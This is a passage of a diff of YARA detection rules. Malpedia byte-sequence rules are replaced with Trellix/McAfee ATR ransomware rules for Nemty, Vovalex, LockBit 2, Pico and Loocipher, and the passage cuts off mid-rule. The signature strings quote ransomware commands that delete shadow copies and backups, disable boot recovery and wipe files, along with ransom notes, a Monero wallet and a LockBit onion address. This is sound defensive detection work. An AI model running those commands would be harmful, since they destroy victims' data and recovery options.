+		$x1 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default}" fullword ascii
+		$s2 = "https://pbs.twimg.com/media/Dn4vwaRW0AY-tUu.jpg:large :D" fullword ascii
+		$s3 = "MSDOS.SYS" fullword wide
+		$s4 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} " ascii
+		$s5 = "recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete" fullword ascii
+		$s6 = "DECRYPT.txt" fullword ascii
+		$s7 = "pv3mi+NQplLqkkJpTNmji/M6mL4NGe5IHsRFJirV6HSyx8mC8goskf5lXH2d57vh52iqhhEc5maLcSrIKbukcnmUwym+In1OnvHp070=" fullword ascii
+		$s8 = "\\NEMTY-DECRYPT.txt\"" fullword ascii
+		$s9 = "rfyPvccxgVaLvW9OOY2J090Mq987N9lif/RoIDP89luS9Ouv9gUImpgCTVGWvJzrqiS8hQ5El02LdEvKcJ+7dn3DxiXSNG1PwLrY59KzGs/gUvXnYcmT6t34qfZmr8g8" ascii
+		$s10 = "IO.SYS" fullword wide
+		$s11 = "QgzjKXcD1Jh/cOLBh1OMb+rWxUbToys2ArG9laNWAWk0rNIv2dnIDpc+mSbp91E8qVN8Mv8K5jC3EBr4TB8jh5Ns/onBhPZ9rLXR7wIkaXGeTZi/4/XOtO3DFiad4+vf" ascii
+		$s12 = "NEMTY-DECRYPT.txt" fullword wide
+		$s13 = "pvXmjPQRoUmjj0g9QZ24wvEqyvcJVvFWXc0LL2XL5DWmz8me5wElh/48FHKcpbnq8C2kwQ==" fullword ascii
+		$s14 = "a/QRAGlNLvqNuONkUWCQTNfoW45DFkZVjUPn0t3tJQnHWPhJR2HWttXqYpQQIMpn" fullword ascii
+		$s15 = "KeoJrLFoTgXaTKTIr+v/ObwtC5BKtMitXq8aaDT8apz98QQvQgMbncLSJWJG+bHvaMhG" fullword ascii
+		$s16 = "pu/hj6YerUnqlUM9A8i+i/UhnvsIE+9XTYs=" fullword ascii
+		$s17 = "grQkLxaGvL0IBGGCRlJ8Q4qQP/midozZSBhFGEDpNElwvWXhba6kTH1LoX8VYNOCZTDzLe82kUD1TSAoZ/fz+8QN7pLqol5+f9QnCLB9QKOi0OmpIS1DLlngr9YH99vt" ascii
+		$s18 = "BOOTSECT.BAK" fullword wide
+		$s19 = "bbVU/9TycwPO+5MgkokSHkAbUSRTwcbYy5tmDXAU1lcF7d36BTpfvzaV5/VI6ARRt2ypsxHGlnOJQUTH6Ya//Eu0jPi/6s2MmOk67csw/msiaaxuHXDostsSCC+kolVX" ascii
+		$s20 = "puh4wXjVYWJzFN6aIgnClL4W/1/5Eg6bm5uEv6Dru0pfOvhmbF1SY3zav4RQVQTYMfZxAsaBYfJ+Gx+6gDEmKggypl1VcVXWRbxAuDIXaByh9aP4B2QvhLnJxZLe+AG5" ascii
 
 	condition:
-		7 of them and filesize <224256
+		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) and 4 of them ))
 }
-rule MALPEDIA_Win_Gazer_Auto : FILE
+rule TRELLIX_ARC_Nemty_Ransomware_2_6 : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4f697767-8c05-5c0d-bde5-d6a7fdfb5341"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gazer_auto.yar#L1-L119"
-		license_url = "N/A"
-		logic_hash = "9d7c4a164f0a9c13470f23ca334f1d2575ebac4454f4b53ffe47ee33d23ce84e"
+		description = "Rule to detect Nemty Ransomware version 2.6"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "335dff33-d078-58ba-b68b-a949895b710f"
+		date = "2020-04-06"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Nemty.yar#L47-L80"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "52b7d20d358d1774a360bb3897a889e14d416c3b2dff26156a506ff199c3388d"
+		logic_hash = "dacf709838ef2ef65d25bdbbd92007ab46a95953031d7bee75eac046f670171a"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Nemty"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 85c0 7511 e8???????? 84c0 7508 }
-		$sequence_1 = { 85c0 7511 e8???????? 84c0 7508 83c8ff e9???????? }
-		$sequence_2 = { 85c0 7511 e8???????? 84c0 }
-		$sequence_3 = { ff15???????? 85c0 7511 e8???????? 84c0 7508 83c8ff }
-		$sequence_4 = { 7511 e8???????? 84c0 7508 83c8ff e9???????? }
-		$sequence_5 = { ff15???????? 85c0 7511 e8???????? 84c0 7508 }
-		$sequence_6 = { 7511 e8???????? 84c0 7508 83c8ff }
-		$sequence_7 = { ff15???????? 85c0 7511 e8???????? 84c0 }
-		$sequence_8 = { 85c0 7511 e8???????? 84c0 7508 83c8ff }
-		$sequence_9 = { 4133c0 23c1 33c2 4103c1 }
+		$pattern = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????A1????????33??89????8B????578D??????????89??????????E8????????33??6A??5839????76??5683????75??508D????5350E8????????8D??????????508D????E8????????83????6A??5880??????75??C6??????4879??EB??FE????33??8A??????8B??????????30????47403B????72??5E8B????33??5FE8????????C9C3558B??51515333??5633??32??89????39????0F86????????578B????8B????8A????8B??83????74??4F74??4F75??21????0FB6??0FB6??83????8B??C1????C1????0B??8A??????????83????88????8A??????????8B????88??????83????EB??0FB6??0FB6??83????6A??C1????C1????5E0B??EB??33??0FB6??46C1????8A??????????88????40FF????8A??8B????3B????72??5F4E74??4E75??0FB6??83????8A????????????88????C6????????83????EB??0FB6??83????C1????8A??????????88????66????????????83????5EC6??????5BC9C3558B??33??F6??????75??5733??39????76??8B????8A????80????74??80????7C??80????7F??0FB6??8A??????????80????74??8B??83????83????74??4A74??4A74??4A75??08????40EB??8A??C0????80????08????40C0????EB??8A??C0????80????08????40C0????EB??C0????88????473B????72??EB??33??5F5DC3558B??518B??85??74??8B????568B??89????3B??74??576A??33??E8????????83????3B????75??5FFF??E8????????595E33??89??89????89????C9C3558B??80??????74??83??????72??538B??85??74??575356E8????????83????53E8????????595BC7????????????89????C6??????5DC2????C7??????????E9????????558B??568B??C7??????????E8????????F6??????74??56E8????????598B??5E5DC2????558B??83????81??????????A1????????33??89????????????5356578D????508D??????E8????????68????????8D????????????E8????????6A??5F33??83????66????????8D????8B??33??5089??????89??????E8????????E8????????33??66????????8B????????????03??????83????8D??????89??????89??????E8????????538D??????5083????8D??????E8????????538D????????????5083????E8????????8B??8D??????E8????????6A??33??E8????????83????????8B??????73??8D??????8D????????????5150FF??????????89??????83????0F84????????8B??????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????F6??????????????8D????????????508D??????8D??????74??E8????????598D??????51E8????????8B??598D??????E8????????6A??33??8D??????E8????????6A??8D??????E8????????83????8D??????8B??50E8????????E8????????83????E9????????E8????????8B??598D??????E8????????6A??33??8D??????E8????????8D????????????50FF??????????508D??????E8????????8B??????6A??5F39??????73??8D??????8B??????????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??74??8B??????39??????73??8D??????68????????50FF??85??74??83????8B??68????????E8????????83????8D????????????8B??51E8????????E8????????83????85??75??8B??????39??????73??8D??????83????8B??51E8????????E8????????83????6A??33??8D??????E8????????8D????????????50FF??????FF??????????85??0F85????????FF??????FF??????????33??435333??8D?????? }
 
 	condition:
-		7 of them and filesize <950272
+		uint16(0)==0x5a4d and filesize <1500KB and $pattern
 }
-rule MALPEDIA_Win_Blackcoffee_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Ransom_Vovalex_Part2 : RANSOM FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "73dd8c3a-f7dc-5a69-bc96-7ac383f83a0a"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackcoffee_auto.yar#L1-L122"
-		license_url = "N/A"
-		logic_hash = "5b61b5b3834a5515967b9008b852cdcc413fc16af2ff85fb0eab8d0101f0945d"
+		description = "Vovalex ransomware detection part 2"
+		author = "CB @ ATR"
+		id = "26c91d06-13da-5039-8b8a-eb8de2774d79"
+		date = "2021-02-01"
+		modified = "2021-02-01"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Vovalex1.yar#L3-L42"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "82814fd9155ec910c6353de8336733704e05c9f02409ad99cd80da8ef9fe3c04"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 64
+		tags = "RANSOM, FILE"
+		malware_type = "Ransom"
+		malware_family = "Ransom:Win/Vovalex"
+		hash1 = "0604acc15196120db2f4ca922feb2a4c858a46123cb26e9af2ef97b4c7839121"
+		hash2 = "fe9ff27ec0a1a48cbb8bc043f260a656c221c6c61704187a390bc8da6f91103a"
+		hash3 = "3b198c367aca1d239abc48bdeb8caabf9b8f2b630071b8e0fd1e86940eab14d6"
 
 	strings:
-		$sequence_0 = { 8d85b4feffff 50 ff75f8 ff15???????? 8b85b4feffff }
-		$sequence_1 = { 8b35???????? 57 33ff 3bc7 7416 57 50 }
-		$sequence_2 = { 8b45fc 83c424 8d44301a 6a1c 6a40 894508 ff15???????? }
-		$sequence_3 = { 890d???????? ebdb 89848a00c0e7ff a1???????? ff05???????? }
-		$sequence_4 = { e8???????? ff36 e8???????? 83c00c 68444e4549 }
-		$sequence_5 = { 8d856cffffff c7856cffffff94000000 50 ff15???????? 6a05 }
-		$sequence_6 = { c20800 55 8bec 81ec98000000 56 57 }
-		$sequence_7 = { 899d30ffffff 66895df0 f3ab 8d7df2 6a0f }
-		$sequence_8 = { 83c00c 0107 8b37 03f3 e8???????? 6854414449 }
-		$sequence_9 = { 57 c7460404100680 897e0c 894614 ff75f8 53 ff15???????? }
+		$x1 = "If you don't know where to buy Monero - visit these websites: https://www.bestchange.ru/ https://www.bestchange.com" fullword ascii
+		$s2 = "Full list: https://www.getmonero.org/community/merchants/#exchanges" fullword ascii
+		$s3 = ": https://www.getmonero.org/community/merchants/#exchanges" fullword ascii
+		$s4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" fullword ascii
+		$s5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" fullword ascii
+		$s6 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" fullword ascii
+		$s7 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" fullword ascii
+		$s8 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\random.d" fullword ascii
+		$s9 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\conv.d" fullword ascii
+		$s10 = "3. If everything is good, you will receive the decryptor." fullword ascii
+		$s11 = "Attempting to flush() in an unopened file" fullword ascii
+		$s12 = "Monero: 4B45W7V1sJAZBnPSnvcipa5k7BRyC4w8GCTfQCUL2XRx5CFzG3iJtEk2kqEvFbF7FagEafRYFfQ6FJnZmep5TsnrSfxpMkS" fullword ascii
+		$s13 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\padding.d" fullword ascii
+		$s14 = "crypto.aes.AES!(4u, 8u, 14u).AES" fullword ascii
+		$s15 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\aes.d" fullword ascii
+		$s16 = "Monero - " fullword ascii
+		$s17 = "std.random.uniform(): invalid bounding interval " fullword ascii
+		$s18 = "crypto.aes.AESUtils" fullword ascii
+		$s19 = "2. Send us a mail with proofs of transaction: VovanAndLexus@cock.li" fullword ascii
+		$s20 = "crypto.aes" fullword ascii
+		$op0 = { 48 8d 8d 10 ff ff ff e8 4a 22 fe ff f7 df 89 bd }
+		$op1 = { e8 60 6e fb ff 34 01 75 d6 4c 8b 46 40 48 8b 56 }
+		$op2 = { 4c 8d 85 40 ff ff ff 4c 8d 15 d2 78 02 00 4c 89 }
 
 	condition:
-		7 of them and filesize <118784
+		( uint16(0)==0x5a4d and filesize <17000KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Dispenserxfs_Auto : FILE
+rule TRELLIX_ARC_Lockbit2_Jul21 : FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "49bf9fde-27a7-5a52-b363-6d4c360f5198"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dispenserxfs_auto.yar#L1-L122"
-		license_url = "N/A"
-		logic_hash = "0ae97d732c7fee9f1fd4b6377f2a916fed962748494ab51169af7ce6e36e4229"
-		score = 75
-		quality = 75
+		description = "simple rule to detect latest Lockbit ransomware Jul 2021"
+		author = "CB @ ATR"
+		id = "22b423df-ae5c-5672-95be-333b13791fc6"
+		date = "2021-07-28"
+		modified = "2021-07-28"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Lockbit2.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "b3ed7d7c72b7585877293f586bae5ec7b0135b09d518b4e4b08f64e60db5a159"
+		score = 50
+		quality = 70
 		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		version = "v1"
+		hash1 = "f32e9fb8b1ea73f0a71f3edaebb7f2b242e72d2a4826d6b2744ad3d830671202"
+		hash2 = "dd8fe3966ab4d2d6215c63b3ac7abf4673d9c19f2d9f35a6bf247922c642ec2d"
 
 	strings:
-		$sequence_0 = { 8975c0 8975c4 8b35???????? 57 c745b430000000 c745b803000000 }
-		$sequence_1 = { 68???????? e8???????? c7042410270000 ff15???????? 6a00 }
-		$sequence_2 = { 6a02 ff15???????? 8bf0 83feff 74ef 8d85d4fdffff c785d4fdffff2c020000 }
-		$sequence_3 = { 7c08 8d50ec e8???????? 57 ff15???????? }
-		$sequence_4 = { 7451 33c9 33c0 8bd9 663b422e 731f 8b4230 }
-		$sequence_5 = { 50 ffd6 53 6a03 58 50 8d8555ffffff }
-		$sequence_6 = { 898de0feffff 89b5e4feffff 89b5e8feffff 89b5ecfeffff 89b5f0feffff 66899df6feffff }
-		$sequence_7 = { 8945f0 0f823cffffff 8b4df4 8b45e4 }
-		$sequence_8 = { 8bcf e8???????? 8d8548feffff 8bd3 50 8bcf }
-		$sequence_9 = { 8d55c4 83c414 8bf2 8a02 42 }
+		$seq1 = " /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" fullword wide
+		$seq2 = "\"C:\\Windows\\system32\\mshta.exe\" \"%s\"" fullword wide
+		$p1 = "C:\\windows\\system32\\%X%X%X.ico" fullword wide
+		$p2 = "\\??\\C:\\windows\\system32\\%X%X%X.ico" fullword wide
+		$p3 = "\\Registry\\Machine\\Software\\Classes\\Lockbit\\shell\\Open\\Command" fullword wide
+		$p4 = "use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" fullword wide
+		$p5 = "https://tox.chat/download.html" fullword wide
+		$p6 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration" fullword wide
+		$p7 = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" fullword wide
+		$p8 = "\\LockBit_Ransomware.hta" fullword wide
 
 	condition:
-		7 of them and filesize <114688
+		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($seq*) and 4 of them )) or ( all of them )
 }
-rule MALPEDIA_Win_Klrd_Auto : FILE
+rule TRELLIX_ARC_Pico_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f2ac53cd-82a8-55ea-badd-f6f1aae58f93"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.klrd_auto.yar#L1-L127"
-		license_url = "N/A"
-		logic_hash = "0fc6f030ea4bb49d87359f96c6eceeeaeffbdd94bdee42030f76f2d7ec66a19a"
+		description = "Rule to detect Pico Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "843cac7a-652e-5cbf-a09d-fb4b1eaa8481"
+		date = "2018-08-30"
+		modified = "2020-08-14"
+		reference = "https://twitter.com/siri_urz/status/1035138577934557184"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Pico.yar#L1-L37"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "cc4a9e410d38a29d0b6c19e79223b270e3a1c326b79c03bec73840b37778bc06"
+		logic_hash = "bb15e66504f393bcb4b173cb2a4ec65aa13110060f7fb70282330b5f6d72f5ed"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 20
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Pico"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8d85fcefffff 50 e8???????? 59 50 }
-		$sequence_1 = { 8d85fcefffff 50 57 ff15???????? 57 ff15???????? }
-		$sequence_2 = { e8???????? 59 50 8d85fcefffff 50 57 }
-		$sequence_3 = { 3c00 0f8485020000 3c03 0f847d020000 3c09 0f8475020000 3c08 }
-		$sequence_4 = { c685c0fdffff00 68ff000000 6a00 8d85c1fdffff 50 e8???????? 83c40c }
-		$sequence_5 = { 59 59 ff7510 ff750c ff7508 ff35???????? ff15???????? }
-		$sequence_6 = { ebcc 8a85e7feffff 8885acfcffff 80bdacfcffff08 742f }
-		$sequence_7 = { 56 56 6a04 56 56 68000000c0 68???????? }
-		$sequence_8 = { 59 8d7dec f3a5 8b45ec 25ff000000 8885e7feffff 3c00 }
-		$sequence_9 = { ffb5b0fcffff ff15???????? 8985c8feffff 83bdc8feffff00 7515 ff15???????? }
+		$s1 = "C:\\Users\\rikfe\\Desktop\\Ransomware\\ThanatosSource\\Release\\Ransomware.pdb" fullword ascii
+		$s2 = "\\Downloads\\README.txt" fullword ascii
+		$s3 = "\\Music\\README.txt" fullword ascii
+		$s4 = "\\Videos\\README.txt" fullword ascii
+		$s5 = "\\Pictures\\README.txt" fullword ascii
+		$s6 = "\\Desktop\\README.txt" fullword ascii
+		$s7 = "\\Documents\\README.txt" fullword ascii
+		$s8 = "/c taskkill /im " fullword ascii
+		$s9 = "\\AppData\\Roaming\\" fullword ascii
+		$s10 = "gMozilla/5.0 (Windows NT 6.1) Thanatos/1.1" fullword wide
+		$s11 = "AppData\\Roaming" fullword ascii
+		$s12 = "\\Downloads" fullword ascii
+		$s13 = "operator co_await" fullword ascii
 
 	condition:
-		7 of them and filesize <40960
+		( uint16(0)==0x5a4d and filesize <700KB) and all of them
 }
-rule MALPEDIA_Win_Remexi_Auto : FILE
+rule TRELLIX_ARC_Loocipher_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "687f133c-aa4c-5c82-a16b-c166cd521a0e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remexi_auto.yar#L1-L209"
-		license_url = "N/A"
-		logic_hash = "05a94cf7e4fffe2d3333c852ee9c9ff577487ed8e4c35b0a2c90ccf7655ac3b0"
+		description = "Rule to detect Loocipher ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "d18efe09-4b04-5089-84f8-aead63fc19bb"
+		date = "2019-12-05"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analysis-of-loocipher-a-new-ransomware-family-observed-this-year/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Loocipher.yar#L1-L46"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "7720aa6eb206e589493e440fec8690ceef9e70b5e6712a9fec9208c03cac7ff0"
+		logic_hash = "36e452c34fd9bbb521f5422bffdbb71991de66f3faa29292dc3f27c8d7e1f9ba"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Loocipher"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 56 c706ffffffff e8???????? 83c404 }
-		$sequence_1 = { 53 50 ff15???????? 3dffffff00 }
-		$sequence_2 = { ff15???????? 8bf0 85f6 7513 8b45d8 }
-		$sequence_3 = { 68???????? 50 ff15???????? 8b0d???????? 8b35???????? 890d???????? 68???????? }
-		$sequence_4 = { 8945e0 8945e4 8945e8 b802000000 }
-		$sequence_5 = { ff15???????? 6a10 8d4ddc 8bf0 51 56 ff15???????? }
-		$sequence_6 = { 8b95d4feffff 52 6a00 68ffff1f00 ffd7 }
-		$sequence_7 = { e8???????? 83ec1c 8bcc 89642430 6aff 53 }
-		$sequence_8 = { 52 56 50 e8???????? 8bf0 eb02 }
-		$sequence_9 = { 57 e8???????? 6a01 6a00 6a00 ff15???????? }
-		$sequence_10 = { 33c0 5f c3 56 ff15???????? 57 8b3d???????? }
-		$sequence_11 = { 8b45d8 8b4818 8b5104 50 8955e0 }
-		$sequence_12 = { 890d???????? 68???????? 41 50 a3???????? }
-		$sequence_13 = { 488bf9 33d2 33c9 e8???????? 488d0d74e90100 4885c0 480f44c1 }
-		$sequence_14 = { 488d15fe730200 488d4c2450 e8???????? 90 41b902000000 }
-		$sequence_15 = { 0f8333010000 488d4550 483bf0 0f8726010000 }
-		$sequence_16 = { 488b0b e8???????? 48c743180f000000 48c7431000000000 c60300 8bc7 488b4c2438 }
-		$sequence_17 = { 4883ec40 48c7442428feffffff 48895c2460 4889742468 488b05???????? }
-		$sequence_18 = { 488d0527dd0100 488981b8000000 4883a17004000000 b90d000000 }
-		$sequence_19 = { 488d4c2470 e8???????? 85c0 750a b902020208 }
-		$sequence_20 = { b902010209 e8???????? 90 48837b1810 }
+		$x1 = "c:\\users\\usuario\\desktop\\cryptolib\\gfpcrypt.h" fullword ascii
+		$x2 = "c:\\users\\usuario\\desktop\\cryptolib\\eccrypto.h" fullword ascii
+		$s3 = "c:\\users\\usuario\\desktop\\cryptolib\\gf2n.h" fullword ascii
+		$s4 = "c:\\users\\usuario\\desktop\\cryptolib\\queue.h" fullword ascii
+		$s5 = "ThreadUserTimer: GetThreadTimes failed with error " fullword ascii
+		$s6 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator *" fullword wide
+		$s7 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator +=" fullword wide
